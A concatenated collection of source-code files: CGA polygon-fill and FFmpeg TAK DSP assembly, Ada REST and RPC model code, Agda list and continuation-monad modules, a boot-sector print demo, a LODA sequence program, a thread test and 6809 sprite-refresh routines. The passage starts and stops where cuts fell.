; increments in the x direction in inc1[i] and inc2[i] with zeros,
; not being too particular about the right side (for performance
; reasons, i.e. fill to the next byte boundary) and only writing the
; leftmost byte if it is up against a byte boundary.
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_blank_right_patch1 + 2], ax
mov WORD PTR cs:[poly_blank_right_patch2 + 2], ax
mov WORD PTR cs:[poly_blank_right_patch1_odd + 2], ax
mov WORD PTR cs:[poly_blank_right_patch2_odd + 2], ax
mov ax, [x1]
add ax, 3 ; leftmost byte not drawn unless up against byte boundary
mov cx, [x2]
dec cx ; rightmost pixel is not drawn
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl ; put starting points in diffs
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_blank_right_lines_ne0
jmp poly_blank_right_end
poly_blank_right_lines_ne0:
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_blank_right_even_y
add di, 8192
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
xor bh, bh ; routine expects bh = 0 throughout
mov bp, ax
jmp poly_blank_right_long_loop_odd
poly_blank_right_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
xor bh, bh ; routine expects bh = 0 throughout
mov bp, ax
poly_blank_right_long_loop:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_right_patch1:
add bh, [si+200]
mov bp, bx
shr bx, 1 ; compute offsets
shr bx, 1
mov cl, bh
and bl, 03fh
sub cl, bl ; get diff of offsets
jbe poly_blank_right_short
poly_blank_right_long:
xor bh, bh ; bx = low offset
add bx, di
xchg bx, di
xor ax, ax ; zeros to be written
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx
add di, 8192 ; increment y
dec dh
jnz poly_blank_right_long_loop_odd
jmp poly_blank_right_end
poly_blank_right_long_loop_odd:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_right_patch1_odd:
add bh, [si+200]
mov bp, bx
shr bx, 1 ; compute offsets
shr bx, 1
mov cl, bh
and bl, 03fh
sub cl, bl ; get diff of offsets
jbe poly_blank_right_short_odd
poly_blank_right_long_odd:
xor bh, bh ; bx = low offset
add bx, di
xchg bx, di
xor ax, ax ; zeros to be written
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx
sub di, 8112 ; increment y
dec dh
jnz poly_blank_right_long_loop
jmp poly_blank_right_end
poly_blank_right_short_loop:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_right_patch2:
add bh, [si+200]
mov bp, bx
shr bx, 1 ; compute offsets
shr bx, 1
and bl, 03fh
mov cl, bh
sub cl, bl ; get diff of offsets
ja poly_blank_right_long
poly_blank_right_short:
add di, 8192 ; increment y
dec dh
jnz poly_blank_right_short_loop_odd
jmp poly_blank_right_end
poly_blank_right_short_loop_odd:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_right_patch2_odd:
add bh, [si+200]
mov bp, bx
shr bx, 1 ; compute offsets
shr bx, 1
and bl, 03fh
mov cl, bh
sub cl, bl ; get diff of offsets
ja poly_blank_right_long_odd
poly_blank_right_short_odd:
sub di, 8112 ; increment y
dec dh
jnz poly_blank_right_short_loop
poly_blank_right_end:
pop si
pop di
pop bp
ret
_cga_poly_blank_right ENDP
PUBLIC _cga_poly_blank_fast_right
_cga_poly_blank_fast_right PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
; increments in the x direction in inc1[i] and inc2[i] with zeros,
; not being too particular about the right side (for performance
; reasons, i.e. fill to the next byte boundary).
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_blank_fast_right_patch1 + 2], ax
mov WORD PTR cs:[poly_blank_fast_right_patch2 + 2], ax
mov WORD PTR cs:[poly_blank_fast_right_patch1_odd + 2], ax
mov WORD PTR cs:[poly_blank_fast_right_patch2_odd + 2], ax
mov ax, [x1]
mov cx, [x2]
dec cx ; rightmost pixel is not drawn
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl ; put starting points in diffs
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_blank_fast_right_lines_ne0
jmp poly_blank_fast_right_end
poly_blank_fast_right_lines_ne0:
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_blank_fast_right_even_y
add di, 8192
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov bp, ax
xor al, al ; routine expects al = 0 throughout
xor cx, cx ; routine expects cx = 0 throughout
jmp poly_blank_fast_right_long_loop_odd
poly_blank_fast_right_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov bp, ax
xor al, al ; routine expects al = 0 throughout
xor cx, cx ; routine expects cx = 0 throughout
poly_blank_fast_right_long_loop:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_fast_right_patch1:
add bh, [si+200]
mov bp, bx
shr bh, 1 ; compute offsets
shr bh, 1
xchg cl, bh
shl bx, 1
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
jbe poly_blank_fast_right_short
poly_blank_fast_right_long:
xchg bh, al ; bx = low offset
add bx, di
xchg bx, di
not al
and BYTE PTR es:[di], al
inc di
xor ax, ax ; zeroes to be written
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx
add di, 8192 ; increment y
dec dh
jnz poly_blank_fast_right_long_loop_odd
jmp poly_blank_fast_right_end
poly_blank_fast_right_long_loop_odd:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_fast_right_patch1_odd:
add bh, [si+200]
mov bp, bx
shr bh, 1 ; compute offsets
shr bh, 1
xchg cl, bh
shl bx, 1
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
jbe poly_blank_fast_right_short_odd
poly_blank_fast_right_long_odd:
xchg bh, al ; bx = low offset
add bx, di
xchg bx, di
not al
and BYTE PTR es:[di], al
inc di
xor ax, ax ; zeroes to be written
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx
sub di, 8112 ; increment y
dec dh
jnz poly_blank_fast_right_long_loop
jmp poly_blank_fast_right_end
poly_blank_fast_right_short_loop:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_fast_right_patch2:
add bh, [si+200]
mov bp, bx
shr bh, 1 ; compute offsets
shr bh, 1
xchg cl, bh
shl bx, 1
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
ja poly_blank_fast_right_long
poly_blank_fast_right_short:
jb poly_blank_fast_right_long_skip
xchg bh, al ; bx = low offset
add bx, di
not al
and BYTE PTR es:[bx], al
xor ax, ax
poly_blank_fast_right_long_skip:
xor cx, cx
add di, 8192 ; increment y
dec dh
jnz poly_blank_fast_right_short_loop_odd
jmp poly_blank_fast_right_end
poly_blank_fast_right_short_loop_odd:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_fast_right_patch2_odd:
add bh, [si+200]
mov bp, bx
shr bh, 1 ; compute offsets
shr bh, 1
xchg cl, bh
shl bx, 1
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
ja poly_blank_fast_right_long_odd
poly_blank_fast_right_short_odd:
jb poly_blank_fast_right_long_odd_skip
xchg bh, al ; bx = low offset
add bx, di
not al
and BYTE PTR es:[bx], al
xor ax, ax
poly_blank_fast_right_long_odd_skip:
xor cx, cx
sub di, 8112 ; increment y
dec dh
jnz poly_blank_fast_right_short_loop
poly_blank_fast_right_end:
pop si
pop di
pop bp
ret
_cga_poly_blank_fast_right ENDP
PUBLIC _cga_poly_blank_fast_left
_cga_poly_blank_fast_left PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
; increments in the x direction in inc1[i] and inc2[i] with zeros,
; not being too particular about the left side (for performance
; reasons, i.e. fill to the next byte boundary).
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_blank_fast_left_patch1 + 2], ax
mov WORD PTR cs:[poly_blank_fast_left_patch2 + 2], ax
mov WORD PTR cs:[poly_blank_fast_left_patch1_odd + 2], ax
mov WORD PTR cs:[poly_blank_fast_left_patch2_odd + 2], ax
mov ax, [x2]
mov cx, [x1]
dec ax ; rightmost pixel is not drawn
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl ; put starting points in diffs
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_blank_fast_left_lines_ne0
jmp poly_blank_fast_left_end
poly_blank_fast_left_lines_ne0:
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_blank_fast_left_even_y
add di, 8192
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov bp, ax
xor al, al ; routine expects al = 0 throughout
xor cx, cx ; routine expects cx = 0 throughout
jmp poly_blank_fast_left_long_loop_odd
poly_blank_fast_left_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov bp, ax
xor al, al ; routine expects al = 0 throughout
xor cx, cx ; routine expects cx = 0 throughout
jmp poly_blank_fast_left_long_loop
poly_blank_fast_left_end2:
pop si
pop di
pop bp
ret
poly_blank_fast_left_long_loop:
inc si
mov bx, bp ; update diffs
add bh, [si]
poly_blank_fast_left_patch1:
add bl, [si+200]
mov bp, bx
xchg cl, bh
shr cl, 1 ; compute offsets
shr cl, 1
shl bx, 1
mov bx, [bx+masks2]
sub cl, bl ; get diff of offsets, don't draw right byte
jae poly_blank_fast_left_short
poly_blank_fast_left_long:
xchg bh, al ; bx = high offset
add bx, di
xchg di, bx
not al
and BYTE PTR es:[di], al
neg cl
sub di, cx ; low offset
xor ax, ax ; zeros to be written
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx
add di, 8192 ; increment y
dec dh
jz poly_blank_fast_left_end2
poly_blank_fast_left_long_loop_odd:
inc si
mov bx, bp ; update diffs
add bh, [si]
poly_blank_fast_left_patch1_odd:
add bl, [si+200]
mov bp, bx
xchg cl, bh
shr cl, 1 ; compute offsets
shr cl, 1
shl bx, 1
mov bx, [bx+masks2]
sub cl, bl ; get diff of offsets, don't draw right byte
jae poly_blank_fast_left_short_odd
poly_blank_fast_left_long_odd:
xchg al, bh ; bx = high offset
add bx, di
xchg di, bx
not al
and BYTE PTR es:[di], al
neg cl
sub di, cx ; low offset
xor ax, ax ; zeros to be written
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx
sub di, 8112 ; increment y
dec dh
jnz poly_blank_fast_left_long_loop
jmp poly_blank_fast_left_end
poly_blank_fast_left_short_loop:
inc si
mov bx, bp ; update diffs
add bh, [si]
poly_blank_fast_left_patch2:
add bl, [si+200]
mov bp, bx
xchg cl, bh
shr cl, 1 ; compute offsets
shr cl, 1
shl bx, 1
mov bx, [bx+masks2]
sub cl, bl ; get diff of offsets
jb poly_blank_fast_left_long
poly_blank_fast_left_short:
ja poly_blank_fast_left_short_skip
xchg bh, al ; bx = high offset
add bx, di
not al
and BYTE PTR es:[bx], al
xor ax, ax
poly_blank_fast_left_short_skip:
xor cx, cx
add di, 8192 ; increment y
dec dh
jz poly_blank_fast_left_end
poly_blank_fast_left_short_loop_odd:
inc si
mov bx, bp ; update diffs
add bh, [si]
poly_blank_fast_left_patch2_odd:
add bl, [si+200]
mov bp, bx
xchg cl, bh
shr cl, 1 ; compute offsets
shr cl, 1
shl bx, 1
mov bx, [bx+masks2]
sub cl, bl ; get diff of offsets
jb poly_blank_fast_left_long_odd
poly_blank_fast_left_short_odd:
ja poly_blank_fast_left_short_odd_skip
xchg bh, al ; bx = high offset
add bx, di
not al
and BYTE PTR es:[bx], al
xor ax, ax
poly_blank_fast_left_short_odd_skip:
xor cx, cx
sub di, 8112 ; increment y
dec dh
jnz poly_blank_fast_left_short_loop
poly_blank_fast_left_end:
pop si
pop di
pop bp
ret
_cga_poly_blank_fast_left ENDP
END
|
ffmpeg-3.2.5/libavcodec/x86/takdsp.asm | huyu0415/FFmpeg | 3,645 | 160704 | <reponame>huyu0415/FFmpeg
;******************************************************************************
;* TAK DSP SIMD optimizations
;*
;* Copyright (C) 2015 <NAME>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION_RODATA
pd_128: times 4 dd 128
SECTION .text
INIT_XMM sse2
cglobal tak_decorrelate_ls, 3, 3, 2, p1, p2, length
shl lengthd, 2
add p1q, lengthq
add p2q, lengthq
neg lengthq
.loop:
mova m0, [p1q+lengthq+mmsize*0]
mova m1, [p1q+lengthq+mmsize*1]
paddd m0, [p2q+lengthq+mmsize*0]
paddd m1, [p2q+lengthq+mmsize*1]
mova [p2q+lengthq+mmsize*0], m0
mova [p2q+lengthq+mmsize*1], m1
add lengthq, mmsize*2
jl .loop
REP_RET
cglobal tak_decorrelate_sr, 3, 3, 2, p1, p2, length
shl lengthd, 2
add p1q, lengthq
add p2q, lengthq
neg lengthq
.loop:
mova m0, [p2q+lengthq+mmsize*0]
mova m1, [p2q+lengthq+mmsize*1]
psubd m0, [p1q+lengthq+mmsize*0]
psubd m1, [p1q+lengthq+mmsize*1]
mova [p1q+lengthq+mmsize*0], m0
mova [p1q+lengthq+mmsize*1], m1
add lengthq, mmsize*2
jl .loop
REP_RET
cglobal tak_decorrelate_sm, 3, 3, 6, p1, p2, length
shl lengthd, 2
add p1q, lengthq
add p2q, lengthq
neg lengthq
.loop:
mova m0, [p1q+lengthq]
mova m1, [p2q+lengthq]
mova m3, [p1q+lengthq+mmsize]
mova m4, [p2q+lengthq+mmsize]
mova m2, m1
mova m5, m4
psrad m2, 1
psrad m5, 1
psubd m0, m2
psubd m3, m5
paddd m1, m0
paddd m4, m3
mova [p1q+lengthq], m0
mova [p2q+lengthq], m1
mova [p1q+lengthq+mmsize], m3
mova [p2q+lengthq+mmsize], m4
add lengthq, mmsize*2
jl .loop
REP_RET
INIT_XMM sse4
cglobal tak_decorrelate_sf, 3, 3, 5, p1, p2, length, dshift, dfactor
shl lengthd, 2
add p1q, lengthq
add p2q, lengthq
neg lengthq
movd m2, dshiftm
movd m3, dfactorm
pshufd m3, m3, 0
mova m4, [pd_128]
.loop:
mova m0, [p1q+lengthq]
mova m1, [p2q+lengthq]
psrad m1, m2
pmulld m1, m3
paddd m1, m4
psrad m1, 8
pslld m1, m2
psubd m1, m0
mova [p1q+lengthq], m1
add lengthq, mmsize
jl .loop
REP_RET
|
src/model/helios-rest-models.adb | stcarrez/helios | 1 | 11443 | <gh_stars>1-10
-- Hyperion API
-- Hyperion Monitoring API The monitoring agent is first registered so that the server knows it as well as its security key. Each host are then registered by a monitoring agent.
--
-- The version of the OpenAPI document: 1.0.0
-- Contact: <EMAIL>
--
-- NOTE: This package is auto generated by OpenAPI-Generator 4.1.0-SNAPSHOT.
-- https://openapi-generator.tech
-- Do not edit the class manually.
package body Helios.Rest.Models is
use Swagger.Streams;
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in InlineObject1_Type) is
begin
Into.Start_Entity (Name);
Into.Write_Entity ("name", Value.Name);
Into.Write_Entity ("ip", Value.Ip);
Into.Write_Entity ("hostKey", Value.Host_Key);
Into.Write_Entity ("agentKey", Value.Agent_Key);
Into.Write_Entity ("agentId", Value.Agent_Id);
Into.End_Entity (Name);
end Serialize;
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in InlineObject1_Type_Vectors.Vector) is
begin
Into.Start_Array (Name);
for Item of Value loop
Serialize (Into, "", Item);
end loop;
Into.End_Array (Name);
end Serialize;
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out InlineObject1_Type) is
Object : Swagger.Value_Type;
begin
Swagger.Streams.Deserialize (From, Name, Object);
Swagger.Streams.Deserialize (Object, "name", Value.Name);
Swagger.Streams.Deserialize (Object, "ip", Value.Ip);
Swagger.Streams.Deserialize (Object, "hostKey", Value.Host_Key);
Swagger.Streams.Deserialize (Object, "agentKey", Value.Agent_Key);
Swagger.Streams.Deserialize (Object, "agentId", Value.Agent_Id);
end Deserialize;
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out InlineObject1_Type_Vectors.Vector) is
List : Swagger.Value_Array_Type;
Item : InlineObject1_Type;
begin
Value.Clear;
Swagger.Streams.Deserialize (From, Name, List);
for Data of List loop
Deserialize (Data, "", Item);
Value.Append (Item);
end loop;
end Deserialize;
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in InlineObject_Type) is
begin
Into.Start_Entity (Name);
Into.Write_Entity ("name", Value.Name);
Into.Write_Entity ("ip", Value.Ip);
Into.Write_Entity ("agentKey", Value.Agent_Key);
Into.End_Entity (Name);
end Serialize;
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in InlineObject_Type_Vectors.Vector) is
begin
Into.Start_Array (Name);
for Item of Value loop
Serialize (Into, "", Item);
end loop;
Into.End_Array (Name);
end Serialize;
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out InlineObject_Type) is
Object : Swagger.Value_Type;
begin
Swagger.Streams.Deserialize (From, Name, Object);
Swagger.Streams.Deserialize (Object, "name", Value.Name);
Swagger.Streams.Deserialize (Object, "ip", Value.Ip);
Swagger.Streams.Deserialize (Object, "agentKey", Value.Agent_Key);
end Deserialize;
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out InlineObject_Type_Vectors.Vector) is
List : Swagger.Value_Array_Type;
Item : InlineObject_Type;
begin
Value.Clear;
Swagger.Streams.Deserialize (From, Name, List);
for Data of List loop
Deserialize (Data, "", Item);
Value.Append (Item);
end loop;
end Deserialize;
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Agent_Type) is
begin
Into.Start_Entity (Name);
Serialize (Into, "id", Value.Id);
Into.Write_Entity ("name", Value.Name);
Into.Write_Entity ("ip", Value.Ip);
Into.Write_Entity ("create_date", Value.Create_Date);
Into.Write_Entity ("key", Value.Key);
Into.Write_Entity ("status", Value.Status);
Into.End_Entity (Name);
end Serialize;
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Agent_Type_Vectors.Vector) is
begin
Into.Start_Array (Name);
for Item of Value loop
Serialize (Into, "", Item);
end loop;
Into.End_Array (Name);
end Serialize;
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Agent_Type) is
Object : Swagger.Value_Type;
begin
Swagger.Streams.Deserialize (From, Name, Object);
Swagger.Streams.Deserialize (Object, "id", Value.Id);
Swagger.Streams.Deserialize (Object, "name", Value.Name);
Swagger.Streams.Deserialize (Object, "ip", Value.Ip);
Deserialize (Object, "create_date", Value.Create_Date);
Swagger.Streams.Deserialize (Object, "key", Value.Key);
Swagger.Streams.Deserialize (Object, "status", Value.Status);
end Deserialize;
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Agent_Type_Vectors.Vector) is
List : Swagger.Value_Array_Type;
Item : Agent_Type;
begin
Value.Clear;
Swagger.Streams.Deserialize (From, Name, List);
for Data of List loop
Deserialize (Data, "", Item);
Value.Append (Item);
end loop;
end Deserialize;
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Host_Type) is
begin
Into.Start_Entity (Name);
Serialize (Into, "id", Value.Id);
Into.Write_Entity ("name", Value.Name);
Into.Write_Entity ("ip", Value.Ip);
Into.Write_Entity ("create_date", Value.Create_Date);
Into.Write_Entity ("done_date", Value.Done_Date);
Into.Write_Entity ("status", Value.Status);
Into.End_Entity (Name);
end Serialize;
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Host_Type_Vectors.Vector) is
begin
Into.Start_Array (Name);
for Item of Value loop
Serialize (Into, "", Item);
end loop;
Into.End_Array (Name);
end Serialize;
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Host_Type) is
Object : Swagger.Value_Type;
begin
Swagger.Streams.Deserialize (From, Name, Object);
Swagger.Streams.Deserialize (Object, "id", Value.Id);
Swagger.Streams.Deserialize (Object, "name", Value.Name);
Swagger.Streams.Deserialize (Object, "ip", Value.Ip);
Deserialize (Object, "create_date", Value.Create_Date);
Deserialize (Object, "done_date", Value.Done_Date);
Swagger.Streams.Deserialize (Object, "status", Value.Status);
end Deserialize;
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Host_Type_Vectors.Vector) is
List : Swagger.Value_Array_Type;
Item : Host_Type;
begin
Value.Clear;
Swagger.Streams.Deserialize (From, Name, List);
for Data of List loop
Deserialize (Data, "", Item);
Value.Append (Item);
end loop;
end Deserialize;
end Helios.Rest.Models;
|
test/Succeed/list.agda | cruhland/agda | 1,989 | 6646 |
module list where
module List (A : Set) where
data List : Set where
nil : List
_::_ : A -> List -> List
_++_ : List -> List -> List
nil ++ ys = ys
(x :: xs) ++ ys = x :: (xs ++ ys)
|
vendor/stdlib/src/Category/Monad/Continuation.agda | isabella232/Lemmachine | 56 | 13124 | <reponame>isabella232/Lemmachine
------------------------------------------------------------------------
-- A delimited continuation monad
------------------------------------------------------------------------
module Category.Monad.Continuation where
open import Category.Applicative
open import Category.Applicative.Indexed
open import Category.Monad
open import Category.Monad.Indexed
open import Category.Monad.Identity
open import Data.Function
------------------------------------------------------------------------
-- Delimited continuation monads
DContT : {I : Set} → (I → Set) → (Set → Set) → IFun I
DContT K M r₂ r₁ a = (a → M (K r₁)) → M (K r₂)
DCont : {I : Set} → (I → Set) → IFun I
DCont K = DContT K Identity
DContTIMonad : ∀ {I} (K : I → Set) {M} →
RawMonad M → RawIMonad (DContT K M)
DContTIMonad K Mon = record
{ return = λ a k → k a
; _>>=_ = λ c f k → c (flip f k)
}
where open RawMonad Mon
DContIMonad : ∀ {I} (K : I → Set) → RawIMonad (DCont K)
DContIMonad K = DContTIMonad K IdentityMonad
------------------------------------------------------------------------
-- Delimited continuation operations
record RawIMonadDCont {I : Set} (K : I → Set)
(M : I → I → Set → Set) : Set₁ where
field
monad : RawIMonad M
reset : ∀ {r₁ r₂ r₃} → M r₁ r₂ (K r₂) → M r₃ r₃ (K r₁)
shift : ∀ {a r₁ r₂ r₃ r₄} →
((a → M r₁ r₁ (K r₂)) → M r₃ r₄ (K r₄)) → M r₃ r₂ a
open RawIMonad monad public
DContTIMonadDCont : ∀ {I} (K : I → Set) {M} →
RawMonad M → RawIMonadDCont K (DContT K M)
DContTIMonadDCont K Mon = record
{ monad = DContTIMonad K Mon
; reset = λ e k → e return >>= k
; shift = λ e k → e (λ a k' → (k a) >>= k') return
}
where
open RawIMonad Mon
DContIMonadDCont : ∀ {I} (K : I → Set) → RawIMonadDCont K (DCont K)
DContIMonadDCont K = DContTIMonadDCont K IdentityMonad
|
src/function.asm | Bigsby/boot-sector | 0 | 103920 | ;
; A simple boot sector that prints a message to the screen using a BIOS routine.
;
mov al, 'H'
call print_char
mov al, 'e'
call print_char
mov al, 'l'
call print_char
mov al, 'l'
call print_char
mov al, 'o'
call print_char
jmp $ ; Jump to the current address (i.e. forever).
print_char:
pusha
mov ah, 0x0e
int 0x10
popa
ret
;
; Padding and magic BIOS number.
;
times 510-($-$$) db 0 ; Pad the boot sector out with zeros
dw 0xaa55 ; Last two bytes form the magic number ,
; so BIOS knows we are a boot sector.
|
oeis/342/A342455.asm | neoneye/loda-programs | 11 | 87904 | ; A342455: The fifth powers of primorials: a(n) = A002110(n)^5.
; Submitted by <NAME>
; 1,32,7776,24300000,408410100000,65774855015100000,24421743243121524300000,34675383095948798128025100000,85859681408495723096004822084900000,552622359415801587878908964592391520700000,11334919554709059323420895730190266747414284300000,324509123504618420438174660414872405442002404781629300000
mov $1,1
mov $2,1
lpb $0
mov $3,$2
lpb $3
add $2,1
mov $4,$1
gcd $4,$2
cmp $4,1
cmp $4,0
sub $3,$4
lpe
sub $0,1
add $2,1
mul $1,$2
lpe
pow $1,5
mov $0,$1
|
sw/thread_test_cases/thread_test2.asm | JPShen-UWM/ThreadKraken | 1 | 25694 | lbi r19 1 // create 5 new thread and run function 1
slbi r19 0x0100 // r19 is at start pc
addi r19 r19 26 // r19 is pointing to function 1
lbi r21 1
slbi r21 0x0400 // r21 is pointing to heap
nt r26 r19 r21
addi r21 r21 1 // r21 = r21 + 1
nt r26 r19 r21
addi r21 r21 1 // r21 = r21 + 1
nt r26 r19 r21
addi r21 r21 1 // r21 = r21 + 1
nt r26 r19 r21
addi r21 r21 1 // r21 = r21 + 1
nt r26 r19 r21
slp r1 //-------------------loop
ld r22 r21 0
beq r22 r0 -3
ld r22 r21 -1
beq r22 r0 -5
ld r22 r21 -2
beq r22 r0 -7
ld r22 r21 -3
beq r22 r0 -9
ld r22 r21 -4
beq r22 r0 -11
kill r1 // exist // function 1 do add five ten times and store thread id to return memory ------------------
addi r6 r0 0 // load r0 its thread id
addi r26 r0 0
addi r26 r26 16 // add 16 to r26
addi r6 r6 1 // Increment r6 by 1
bneq r6 r1 -3
st r4 r26 0
wk r0
kill r1 // return |
specs/ada/common/tkmrpc-response-ike-dh_generate_key-convert.ads | DrenfongWong/tkm-rpc | 0 | 20956 | with Ada.Unchecked_Conversion;
package Tkmrpc.Response.Ike.Dh_Generate_Key.Convert is
function To_Response is new Ada.Unchecked_Conversion (
Source => Dh_Generate_Key.Response_Type,
Target => Response.Data_Type);
function From_Response is new Ada.Unchecked_Conversion (
Source => Response.Data_Type,
Target => Dh_Generate_Key.Response_Type);
end Tkmrpc.Response.Ike.Dh_Generate_Key.Convert;
|
Engine/Graphics/CheckSpritesRefresh.asm | wide-dot/thomson-to8-game-engine | 11 | 24651 | <gh_stars>10-100
* ---------------------------------------------------------------------------
* CheckSpritesRefresh
* -------------------
* Subroutine to determine if sprites are gonna be erased and/or drawn
* Read Display Priority Structure (back to front)
* priority: 0 - unregistred
* priority: 1 - register non moving overlay sprite
* priority; 2-8 - register moving sprite (2:front, ..., 8:back)
*
* input REG : none
* ---------------------------------------------------------------------------
cur_priority fdb $00
cur_ptr_sub_obj_erase fdb $0000
cur_ptr_sub_obj_draw fdb $0000
glb_camera_x_pos fdb $0000 ; camera x position in palyfield coordinates
glb_camera_y_pos fdb $0000 ; camera y position in palyfield coordinates
* ---------------------------------------------------------------------------
* Sub Priority Objects List - SOL
* ---------------------------------------------------------------------------
Tbl_Sub_Object_Erase fill 0,nb_graphical_objects*2 ; entries of objects that have erase flag in the order back to front
Tbl_Sub_Object_Draw fill 0,nb_graphical_objects*2 ; entries of objects that have draw flag in the order back to front
CheckSpritesRefresh
CSR_Start
ldd #Tbl_Sub_Object_Erase
std cur_ptr_sub_obj_erase
ldd #Tbl_Sub_Object_Draw
std cur_ptr_sub_obj_draw
lda glb_Cur_Wrk_Screen_Id ; read current screen buffer for write operations
bne CSR_SetBuffer1
CSR_SetBuffer0
lda #rsv_buffer_0 ; set offset to object variables that belongs to screen buffer 0
sta CSR_ProcessEachPriorityLevel+2
CSR_P8B0
ldu DPS_buffer_0+buf_Tbl_Priority_First_Entry+16 ; read DPS from priority 8 to priority 1
beq CSR_P7B0
lda #$08
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P7B0
ldu DPS_buffer_0+buf_Tbl_Priority_First_Entry+14
beq CSR_P6B0
lda #$07
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P6B0
ldu DPS_buffer_0+buf_Tbl_Priority_First_Entry+12
beq CSR_P5B0
lda #$06
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P5B0
ldu DPS_buffer_0+buf_Tbl_Priority_First_Entry+10
beq CSR_P4B0
lda #$05
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P4B0
ldu DPS_buffer_0+buf_Tbl_Priority_First_Entry+8
beq CSR_P3B0
lda #$04
sta cur_priority
jsr CSR_ProcessEachPriorityLevel
CSR_P3B0
